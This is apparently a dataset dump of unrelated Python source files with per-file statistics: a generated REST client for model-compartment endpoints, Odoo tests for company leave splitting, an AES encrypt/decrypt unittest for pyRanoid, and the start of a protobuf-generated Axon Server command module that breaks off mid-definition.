_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def list_persisted_model_compartments(self, **kwargs): # noqa: E501 """List model compartments stored by persistent index. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.list_persisted_model_compartments(async_req=True) >>> result = thread.get() :param async_req bool :return: ListPersistedModelCompartmentsResponse If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.list_persisted_model_compartments_with_http_info(**kwargs) # noqa: E501 else: (data) = self.list_persisted_model_compartments_with_http_info(**kwargs) # noqa: E501 return data def list_persisted_model_compartments_with_http_info(self, **kwargs): # noqa: E501 """List model compartments stored by persistent index. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.list_persisted_model_compartments_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool :return: ListPersistedModelCompartmentsResponse If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method list_persisted_model_compartments" % key ) local_var_params[key] = val del local_var_params['kwargs'] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['basicAuth'] # noqa: E501 return self.api_client.call_api( '/persistent-index.listModelCompartments', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ListPersistedModelCompartmentsResponse', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def normalize_delta_based_compartment(self, model_compartment, **kwargs): # noqa: E501 """Normalize compartment that uses delta headers in persistent index # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.normalize_delta_based_compartment(model_compartment, async_req=True) >>> result = thread.get() :param async_req bool :param ModelCompartment model_compartment: Model compartment descriptor. (required) :return: SimpleMessage If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.normalize_delta_based_compartment_with_http_info(model_compartment, **kwargs) # noqa: E501 else: (data) = self.normalize_delta_based_compartment_with_http_info(model_compartment, **kwargs) # noqa: E501 return data def normalize_delta_based_compartment_with_http_info(self, model_compartment, **kwargs): # noqa: E501 """Normalize compartment that uses delta headers in persistent index # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.normalize_delta_based_compartment_with_http_info(model_compartment, async_req=True) >>> result = thread.get() :param async_req bool :param ModelCompartment model_compartment: Model compartment descriptor. (required) :return: SimpleMessage If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['model_compartment'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method normalize_delta_based_compartment" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'model_compartment' is set if ('model_compartment' not in local_var_params or local_var_params['model_compartment'] is None): raise ValueError("Missing the required parameter `model_compartment` when calling `normalize_delta_based_compartment`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'model_compartment' in local_var_params: body_params = local_var_params['model_compartment'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['basicAuth'] # noqa: E501 return self.api_client.call_api( '/persistent-index.normalizeDeltaBasedCompartment', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='SimpleMessage', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats)

40.083333

145

0.639823

2,623

23,569

5.433092

0.066336

0.043786

0.058943

0.030314

0.943162

0.940074

0.938881

0.930321

0.927444

0.92597

0

0.014368

0.279477

23,569

587

146

40.151618

0.824815

0.319657

0

0.817308

1

0

0.178672

0.064118

0

1

0.041667

false

0

0.012821

0

0.115385

0

null

0

1

0

1

0

null

0

8

b922b2b569fcbcbeab485710ba8553b939465f6c

13,735

py

Python

odoo-13.0/addons/hr_holidays/tests/test_company_leave.py

VaibhavBhujade/Blockchain-ERP-interoperability

b5190a037fb6615386f7cbad024d51b0abd4ba03

[ "MIT" ]

null

odoo-13.0/addons/hr_holidays/tests/test_company_leave.py

VaibhavBhujade/Blockchain-ERP-interoperability

b5190a037fb6615386f7cbad024d51b0abd4ba03

[ "MIT" ]

null

odoo-13.0/addons/hr_holidays/tests/test_company_leave.py

VaibhavBhujade/Blockchain-ERP-interoperability

b5190a037fb6615386f7cbad024d51b0abd4ba03

[ "MIT" ]

null

# -*- coding: utf-8 -*- # Part of Odoo. See LICENSE file for full copyright and licensing details. from datetime import date, datetime from odoo.tests import tagged from odoo.tests.common import SavepointCase @tagged('company_leave') class TestCompanyLeave(SavepointCase): """ Test leaves for a whole company, conflict resolutions """ @classmethod def setUpClass(cls): super(TestCompanyLeave, cls).setUpClass() cls.company = cls.env['res.company'].create({'name': 'A company'}) cls.bank_holiday = cls.env['hr.leave.type'].create({ 'name': 'Bank Holiday', 'responsible_id': cls.env.user.id, 'company_id': cls.company.id, }) cls.paid_time_off = cls.env['hr.leave.type'].create({ 'name': 'Paid Time Off', 'request_unit': 'day', 'validation_type': 'both', 'company_id': cls.company.id, }) cls.employee = cls.env['hr.employee'].create({ 'name': 'My Employee', 'company_id': cls.company.id, }) def test_leave_whole_company_01(self): # TEST CASE 1: Leaves taken in days. Take a 3 days leave # Add a company leave on the second day. # Check that leave is split into 2. leave = self.env['hr.leave'].create({ 'name': 'Hol11', 'employee_id': self.employee.id, 'holiday_status_id': self.paid_time_off.id, 'request_date_from': date(2020, 1, 7), 'date_from': date(2020, 1, 7), 'request_date_to': date(2020, 1, 9), 'date_to': date(2020, 1, 9), 'number_of_days': 3, }) leave._onchange_request_parameters() company_leave = self.env['hr.leave'].create({ 'name': 'Bank Holiday', 'holiday_type': 'company', 'mode_company_id': self.company.id, 'holiday_status_id': self.bank_holiday.id, 'date_from': date(2020, 1, 8), 'request_date_from': date(2020, 1, 8), 'date_to': date(2020, 1, 8), 'request_date_to': date(2020, 1, 8), 'number_of_days': 1, }) company_leave._onchange_request_parameters() company_leave.action_validate() all_leaves = self.env['hr.leave'].search([('employee_id', '=', self.employee.id)], order='id') self.assertEqual(len(all_leaves), 4) # Original Leave self.assertEqual(leave.state, 'refuse') # before leave self.assertEqual(all_leaves[1].date_from, datetime(2020, 1, 7, 7, 0)) self.assertEqual(all_leaves[1].date_to, datetime(2020, 1, 7, 16, 0)) self.assertEqual(all_leaves[1].number_of_days, 1) self.assertEqual(all_leaves[1].state, 'confirm') # After leave self.assertEqual(all_leaves[2].date_from, datetime(2020, 1, 9, 7, 0)) self.assertEqual(all_leaves[2].date_to, datetime(2020, 1, 9, 16, 0)) self.assertEqual(all_leaves[2].number_of_days, 1) self.assertEqual(all_leaves[2].state, 'confirm') # Company Leave self.assertEqual(all_leaves[3].date_from, datetime(2020, 1, 8, 7, 0)) self.assertEqual(all_leaves[3].date_to, datetime(2020, 1, 8, 16, 0)) self.assertEqual(all_leaves[3].number_of_days, 1) self.assertEqual(all_leaves[3].state, 'validate') def test_leave_whole_company_02(self): # TEST CASE 2: Leaves taken in half-days. Take a 3 days leave # Add a company leave on the second day # Check that leave is split into 2 self.paid_time_off.request_unit = 'half_day' leave = self.env['hr.leave'].create({ 'name': 'Hol11', 'employee_id': self.employee.id, 'holiday_status_id': self.paid_time_off.id, 'request_date_from': date(2020, 1, 7), 'date_from': date(2020, 1, 7), 'request_date_to': date(2020, 1, 9), 'date_to': date(2020, 1, 9), 'number_of_days': 3, }) leave._onchange_request_parameters() company_leave = self.env['hr.leave'].create({ 'name': 'Bank Holiday', 'holiday_type': 'company', 'mode_company_id': self.company.id, 'holiday_status_id': self.bank_holiday.id, 'date_from': date(2020, 1, 8), 'request_date_from': date(2020, 1, 8), 'date_to': date(2020, 1, 8), 'request_date_to': date(2020, 1, 8), 'number_of_days': 1, }) company_leave._onchange_request_parameters() company_leave.action_validate() all_leaves = self.env['hr.leave'].search([('employee_id', '=', self.employee.id)], order='id') self.assertEqual(len(all_leaves), 4) # Original Leave self.assertEqual(leave.state, 'refuse') # before leave self.assertEqual(all_leaves[1].date_from, datetime(2020, 1, 7, 7, 0)) self.assertEqual(all_leaves[1].date_to, datetime(2020, 1, 7, 16, 0)) self.assertEqual(all_leaves[1].number_of_days, 1) self.assertEqual(all_leaves[1].state, 'confirm') # After leave self.assertEqual(all_leaves[2].date_from, datetime(2020, 1, 9, 7, 0)) self.assertEqual(all_leaves[2].date_to, datetime(2020, 1, 9, 16, 0)) self.assertEqual(all_leaves[2].number_of_days, 1) self.assertEqual(all_leaves[2].state, 'confirm') # Company Leave self.assertEqual(all_leaves[3].date_from, datetime(2020, 1, 8, 7, 0)) self.assertEqual(all_leaves[3].date_to, datetime(2020, 1, 8, 16, 0)) self.assertEqual(all_leaves[3].number_of_days, 1) self.assertEqual(all_leaves[3].state, 'validate') def test_leave_whole_company_03(self): # TEST CASE 3: Leaves taken in half-days. Take a 0.5 days leave # Add a company leave on the same day # Check that leave refused self.paid_time_off.request_unit = 'half_day' leave = self.env['hr.leave'].create({ 'name': 'Hol11', 'employee_id': self.employee.id, 'holiday_status_id': self.paid_time_off.id, 'request_date_from': date(2020, 1, 7), 'request_date_to': date(2020, 1, 7), 'number_of_days': 0.5, 'request_unit_half': True, 'request_date_from_period': 'am', }) leave._onchange_request_parameters() company_leave = self.env['hr.leave'].create({ 'name': 'Bank Holiday', 'holiday_type': 'company', 'mode_company_id': self.company.id, 'holiday_status_id': self.bank_holiday.id, 'date_from': date(2020, 1, 7), 'request_date_from': date(2020, 1, 7), 'date_to': date(2020, 1, 7), 'request_date_to': date(2020, 1, 7), 'number_of_days': 1, }) company_leave._onchange_request_parameters() company_leave.action_validate() all_leaves = self.env['hr.leave'].search([('employee_id', '=', self.employee.id)], order='id') self.assertEqual(len(all_leaves), 2) # Original Leave self.assertEqual(leave.state, 'refuse') # Company Leave self.assertEqual(all_leaves[1].date_from, datetime(2020, 1, 7, 7, 0)) self.assertEqual(all_leaves[1].date_to, datetime(2020, 1, 7, 16, 0)) self.assertEqual(all_leaves[1].number_of_days, 1) self.assertEqual(all_leaves[1].state, 'validate') def test_leave_whole_company_04(self): # TEST CASE 4: Leaves taken in days. Take a 1 days leave # Add a company leave on the same day # Check that leave is refused self.paid_time_off.request_unit = 'day' leave = self.env['hr.leave'].create({ 'name': 'Hol11', 'employee_id': self.employee.id, 'holiday_status_id': self.paid_time_off.id, 'request_date_from': date(2020, 1, 9), 'request_date_to': date(2020, 1, 9), 'number_of_days': 1, }) leave._onchange_request_parameters() company_leave = self.env['hr.leave'].create({ 'name': 'Bank Holiday', 'holiday_type': 'company', 'mode_company_id': self.company.id, 'holiday_status_id': self.bank_holiday.id, 'date_from': date(2020, 1, 9), 'request_date_from': date(2020, 1, 9), 'date_to': date(2020, 1, 9), 'request_date_to': date(2020, 1, 9), 'number_of_days': 1, }) company_leave._onchange_request_parameters() company_leave.action_validate() all_leaves = self.env['hr.leave'].search([('employee_id', '=', self.employee.id)], order='id') self.assertEqual(len(all_leaves), 2) # Original Leave self.assertEqual(leave.state, 'refuse') # Company Leave self.assertEqual(all_leaves[1].date_from, datetime(2020, 1, 9, 7, 0)) self.assertEqual(all_leaves[1].date_to, datetime(2020, 1, 9, 16, 0)) self.assertEqual(all_leaves[1].number_of_days, 1) self.assertEqual(all_leaves[1].state, 'validate') def test_leave_whole_company_06(self): # Test case 6: Leaves taken in days. But the employee # only works on Monday, Wednesday and Friday # Takes a time off for all the week (3 days), should be split self.employee.resource_calendar_id.write({'attendance_ids': [ (5, 0, 0), (0, 0, {'name': 'Monday Morning', 'dayofweek': '0', 'hour_from': 8, 'hour_to': 12, 'day_period': 'morning'}), (0, 0, {'name': 'Monday Afternoon', 'dayofweek': '0', 'hour_from': 13, 'hour_to': 17, 'day_period': 'afternoon'}), (0, 0, {'name': 'Wednesday Morning', 'dayofweek': '2', 'hour_from': 8, 'hour_to': 12, 'day_period': 'morning'}), (0, 0, {'name': 'Wednesday Afternoon', 'dayofweek': '2', 'hour_from': 13, 'hour_to': 17, 'day_period': 'afternoon'}), (0, 0, {'name': 'Friday Morning', 'dayofweek': '4', 'hour_from': 8, 'hour_to': 12, 'day_period': 'morning'}), (0, 0, {'name': 'Friday Afternoon', 'dayofweek': '4', 'hour_from': 13, 'hour_to': 17, 'day_period': 'afternoon'}) ]}) leave = self.env['hr.leave'].create({ 'name': 'Hol11', 'employee_id': self.employee.id, 'holiday_status_id': self.paid_time_off.id, 'request_date_from': date(2020, 1, 6), 'request_date_to': date(2020, 1, 10), 'number_of_days': 3, }) leave._onchange_request_parameters() company_leave = self.env['hr.leave'].create({ 'name': 'Bank Holiday', 'holiday_type': 'company', 'mode_company_id': self.company.id, 'holiday_status_id': self.bank_holiday.id, 'date_from': date(2020, 1, 10), 'request_date_from': date(2020, 1, 10), 'date_to': date(2020, 1, 10), 'request_date_to': date(2020, 1, 10), 'number_of_days': 1, }) company_leave._onchange_request_parameters() company_leave.action_validate() all_leaves = self.env['hr.leave'].search([('employee_id', '=', self.employee.id)], order='id') self.assertEqual(len(all_leaves), 3) # Original Leave self.assertEqual(leave.state, 'refuse') # before leave self.assertEqual(all_leaves[1].date_from, datetime(2020, 1, 6, 7, 0)) self.assertEqual(all_leaves[1].date_to, datetime(2020, 1, 9, 16, 0)) self.assertEqual(all_leaves[1].number_of_days, 2) self.assertEqual(all_leaves[1].state, 'confirm') # Company Leave self.assertEqual(all_leaves[2].date_from, datetime(2020, 1, 10, 7, 0)) self.assertEqual(all_leaves[2].date_to, datetime(2020, 1, 10, 16, 0)) self.assertEqual(all_leaves[2].number_of_days, 1) self.assertEqual(all_leaves[2].state, 'validate') def test_leave_whole_company_07(self): # Test Case 7: Try to create a bank holidays for a lot of # employees, and check the performances # 100 employees - 15 already on holidays that day employees = self.env['hr.employee'].create([{ 'name': 'Employee %s' % i, 'company_id': self.company.id } for i in range(100)]) leaves = self.env['hr.leave'].create([{ 'name': 'Holiday - %s' % employee.name, 'employee_id': employee.id, 'holiday_status_id': self.paid_time_off.id, 'request_date_from': date(2020, 3, 29), 'request_date_to': date(2020, 4, 1), 'number_of_days': 3, } for employee in employees[0:15]]) for leave in leaves: leave._onchange_request_parameters() company_leave = self.env['hr.leave'].create({ 'name': 'Bank Holiday', 'holiday_type': 'company', 'mode_company_id': self.company.id, 'holiday_status_id': self.bank_holiday.id, 'date_from': date(2020, 4, 1), 'request_date_from': date(2020, 4, 1), 'date_to': date(2020, 4, 1), 'request_date_to': date(2020, 4, 1), 'number_of_days': 1, }) company_leave._onchange_request_parameters() with self.assertQueryCount(__system__=846, admin=845): # Original query count: 1987 # Without tracking/activity context keys: 5154 company_leave.action_validate() leaves = self.env['hr.leave'].search([('holiday_status_id', '=', self.bank_holiday.id)]) self.assertEqual(len(leaves), 102)

42.391975

129

0.587404

1,784

13,735

4.304933

0.09417

0.035156

0.09375

0.125

0.83138

0.815625

0.783333

0.753385

0.745443

0.735807

0

0.059023

0.268511

13,735

323

130

42.52322

0.705385

0.089407

0

0.73251

0

0.188062

0.001926

0

0.213992

1

0.028807

false

0

0.012346

0

0.045267

0

null

0

1

0

1

0

null

0

7

b96c05b84f359fc7948090ec3cfe2df765aee5de

1,790

py

Python

src/tests/test_crypto.py

omnone/pyHide

ffe9a8ccdca37695dd6ec1f80e090db548d1fe8a

[ "MIT" ]

11

2020-10-03T12:51:50.000Z

2021-05-11T08:01:49.000Z

src/tests/test_crypto.py

omnone/pyHide

ffe9a8ccdca37695dd6ec1f80e090db548d1fe8a

[ "MIT" ]

11

2020-10-03T12:40:20.000Z

2020-12-08T06:07:39.000Z

src/tests/test_crypto.py

omnone/pyHide

ffe9a8ccdca37695dd6ec1f80e090db548d1fe8a

[ "MIT" ]

12

2020-10-03T12:51:58.000Z

2020-10-28T08:40:55.000Z

import unittest import sys import os testDir = os.path.dirname(__file__) srcDir = '../pyRanoid' sys.path.insert(0, os.path.abspath(os.path.join(testDir, srcDir))) import encryption class TestCrypto(unittest.TestCase): def test_encryptText(self): """ Test that text get encrypted based on AES """ message = 'test' result = encryption.encryptText(message, password='test') self.assertNotEqual(result, message) def test_decryptText(self): """ Test that text get decrypted based on AES """ expectedResult = 'test' message = str(b'AES\x02\x00\x00\x1bCREATED_BY\x00pyAesCrypt 0.4.3\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xd4\xe2\xcc\x8b\x81pq\x98\xf6W&\xf5\xfcP\x90\xcc\xfd\xa6\xeb\xc0\xa8|4\x0b\x8a\x1a\x0c\x18\x92\xa1\xde[Pd\xed\x85\xa0!\xce\x02W#?\xf2&"\xd9W\xd9\x0e\xdc_\xd7\xc7\xc4`\xa8\xd1\xf0\x08\xc22\xc6\xa6\x9b\xdf^)Mj\x02z0\xc9\xca\xb9[\x7f\xeb\xfcMi\xb8ZD~^\xa3\x93\xb7\xfe\x13\x07q\xa1\xd3"\xf3_\x83\xea\xccbu\xad\xc7\x1b\xd4\xdb\xf1O\x04\x84\x8fK\xb2\xf3\x94H\xabTi\xa0\xda\xd4:n/\xd9\xc3(\xff(gZ\xc9\xe0u}Z\xcb\xb6\xa1\x10') result = encryption.decryptText(message,password='test') self.assertEqual(result,expectedResult) if __name__ == '__main__': unittest.main()

54.242424

1,024

0.702793

327

1,790

3.795107

0.406728

0.628525

0.928284

1.228042

0.344883

0.314263

0

0.228893

0.106704

1,790

32

1,025

55.9375

0.547217

0.046369

0

0.052632

0.622289

0.600602

0

0.105263

1

0.105263

false

0.105263

0.210526

0

0.368421

0

null

1

0

1

0

1

0

1

null

0

1

0

8

b9849d56efbf812e5d5931664e073a8bfca9fe5c

27,752

py

Python

axonclient/command_pb2.py

johnbywater/axon-server-api

43c93be99a8daaa92a5f1842d1439f07f0cd93f1

[ "Apache-2.0" ]

3

2020-01-19T02:09:08.000Z

2021-09-02T15:39:36.000Z

axonclient/command_pb2.py

johnbywater/axon-server-api

43c93be99a8daaa92a5f1842d1439f07f0cd93f1

[ "Apache-2.0" ]

null

axonclient/command_pb2.py

johnbywater/axon-server-api

43c93be99a8daaa92a5f1842d1439f07f0cd93f1

[ "Apache-2.0" ]

1

2020-12-11T07:00:19.000Z

# -*- coding: utf-8 -*- # Generated by the protocol buffer compiler. DO NOT EDIT! # source: command.proto import sys _b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1')) from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.protobuf import symbol_database as _symbol_database # @@protoc_insertion_point(imports) _sym_db = _symbol_database.Default() import axonclient.common_pb2 as common__pb2 DESCRIPTOR = _descriptor.FileDescriptor( name='command.proto', package='io.axoniq.axonserver.grpc.command', syntax='proto3', serialized_options=_b('P\001'), serialized_pb=_b('\n\rcommand.proto\x12!io.axoniq.axonserver.grpc.command\x1a\x0c\x63ommon.proto\"\xa2\x03\n\x17\x43ommandProviderOutbound\x12K\n\tsubscribe\x18\x01 \x01(\x0b\x32\x36.io.axoniq.axonserver.grpc.command.CommandSubscriptionH\x00\x12M\n\x0bunsubscribe\x18\x02 \x01(\x0b\x32\x36.io.axoniq.axonserver.grpc.command.CommandSubscriptionH\x00\x12>\n\x0c\x66low_control\x18\x03 \x01(\x0b\x32&.io.axoniq.axonserver.grpc.FlowControlH\x00\x12N\n\x10\x63ommand_response\x18\x04 \x01(\x0b\x32\x32.io.axoniq.axonserver.grpc.command.CommandResponseH\x00\x12\x38\n\x03\x61\x63k\x18\x05 \x01(\x0b\x32).io.axoniq.axonserver.grpc.InstructionAckH\x00\x12\x16\n\x0einstruction_id\x18\x06 \x01(\tB\t\n\x07request\"\xb4\x01\n\x16\x43ommandProviderInbound\x12\x38\n\x03\x61\x63k\x18\x01 \x01(\x0b\x32).io.axoniq.axonserver.grpc.InstructionAckH\x00\x12=\n\x07\x63ommand\x18\x02 \x01(\x0b\x32*.io.axoniq.axonserver.grpc.command.CommandH\x00\x12\x16\n\x0einstruction_id\x18\x03 \x01(\tB\t\n\x07request\"\xaa\x03\n\x07\x43ommand\x12\x1a\n\x12message_identifier\x18\x01 \x01(\t\x12\x0c\n\x04name\x18\x02 \x01(\t\x12\x11\n\ttimestamp\x18\x03 \x01(\x03\x12<\n\x07payload\x18\x04 \x01(\x0b\x32+.io.axoniq.axonserver.grpc.SerializedObject\x12K\n\tmeta_data\x18\x05 \x03(\x0b\x32\x38.io.axoniq.axonserver.grpc.command.Command.MetaDataEntry\x12Q\n\x17processing_instructions\x18\x06 \x03(\x0b\x32\x30.io.axoniq.axonserver.grpc.ProcessingInstruction\x12\x11\n\tclient_id\x18\x07 \x01(\t\x12\x16\n\x0e\x63omponent_name\x18\x08 \x01(\t\x1aY\n\rMetaDataEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\x37\n\x05value\x18\x02 \x01(\x0b\x32(.io.axoniq.axonserver.grpc.MetaDataValue:\x02\x38\x01\"\xde\x03\n\x0f\x43ommandResponse\x12\x1a\n\x12message_identifier\x18\x01 \x01(\t\x12\x12\n\nerror_code\x18\x02 \x01(\t\x12>\n\rerror_message\x18\x03 \x01(\x0b\x32\'.io.axoniq.axonserver.grpc.ErrorMessage\x12<\n\x07payload\x18\x04 \x01(\x0b\x32+.io.axoniq.axonserver.grpc.SerializedObject\x12S\n\tmeta_data\x18\x05 \x03(\x0b\x32@.io.axoniq.axonserver.grpc.command.CommandResponse.MetaDataEntry\x12Q\n\x17processing_instructions\x18\x06 \x03(\x0b\x32\x30.io.axoniq.axonserver.grpc.ProcessingInstruction\x12\x1a\n\x12request_identifier\x18\x07 \x01(\t\x1aY\n\rMetaDataEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\x37\n\x05value\x18\x02 \x01(\x0b\x32(.io.axoniq.axonserver.grpc.MetaDataValue:\x02\x38\x01\"z\n\x13\x43ommandSubscription\x12\x12\n\nmessage_id\x18\x01 \x01(\t\x12\x0f\n\x07\x63ommand\x18\x02 \x01(\t\x12\x16\n\x0e\x63omponent_name\x18\x03 \x01(\t\x12\x11\n\tclient_id\x18\x04 \x01(\t\x12\x13\n\x0bload_factor\x18\x05 \x01(\x05\x32\x8a\x02\n\x0e\x43ommandService\x12\x89\x01\n\nOpenStream\x12:.io.axoniq.axonserver.grpc.command.CommandProviderOutbound\x1a\x39.io.axoniq.axonserver.grpc.command.CommandProviderInbound\"\x00(\x01\x30\x01\x12l\n\x08\x44ispatch\x12*.io.axoniq.axonserver.grpc.command.Command\x1a\x32.io.axoniq.axonserver.grpc.command.CommandResponse\"\x00\x42\x02P\x01\x62\x06proto3') , dependencies=[common__pb2.DESCRIPTOR,]) _COMMANDPROVIDEROUTBOUND = _descriptor.Descriptor( name='CommandProviderOutbound', full_name='io.axoniq.axonserver.grpc.command.CommandProviderOutbound', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='subscribe', full_name='io.axoniq.axonserver.grpc.command.CommandProviderOutbound.subscribe', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='unsubscribe', full_name='io.axoniq.axonserver.grpc.command.CommandProviderOutbound.unsubscribe', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='flow_control', full_name='io.axoniq.axonserver.grpc.command.CommandProviderOutbound.flow_control', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='command_response', full_name='io.axoniq.axonserver.grpc.command.CommandProviderOutbound.command_response', index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='ack', full_name='io.axoniq.axonserver.grpc.command.CommandProviderOutbound.ack', index=4, number=5, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='instruction_id', full_name='io.axoniq.axonserver.grpc.command.CommandProviderOutbound.instruction_id', index=5, number=6, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ _descriptor.OneofDescriptor( name='request', full_name='io.axoniq.axonserver.grpc.command.CommandProviderOutbound.request', index=0, containing_type=None, fields=[]), ], serialized_start=67, serialized_end=485, ) _COMMANDPROVIDERINBOUND = _descriptor.Descriptor( name='CommandProviderInbound', full_name='io.axoniq.axonserver.grpc.command.CommandProviderInbound', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='ack', full_name='io.axoniq.axonserver.grpc.command.CommandProviderInbound.ack', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='command', full_name='io.axoniq.axonserver.grpc.command.CommandProviderInbound.command', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='instruction_id', full_name='io.axoniq.axonserver.grpc.command.CommandProviderInbound.instruction_id', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ _descriptor.OneofDescriptor( name='request', full_name='io.axoniq.axonserver.grpc.command.CommandProviderInbound.request', index=0, containing_type=None, fields=[]), ], serialized_start=488, serialized_end=668, ) _COMMAND_METADATAENTRY = _descriptor.Descriptor( name='MetaDataEntry', full_name='io.axoniq.axonserver.grpc.command.Command.MetaDataEntry', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='key', full_name='io.axoniq.axonserver.grpc.command.Command.MetaDataEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='value', full_name='io.axoniq.axonserver.grpc.command.Command.MetaDataEntry.value', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=_b('8\001'), is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=1008, serialized_end=1097, ) _COMMAND = _descriptor.Descriptor( name='Command', full_name='io.axoniq.axonserver.grpc.command.Command', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='message_identifier', full_name='io.axoniq.axonserver.grpc.command.Command.message_identifier', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, 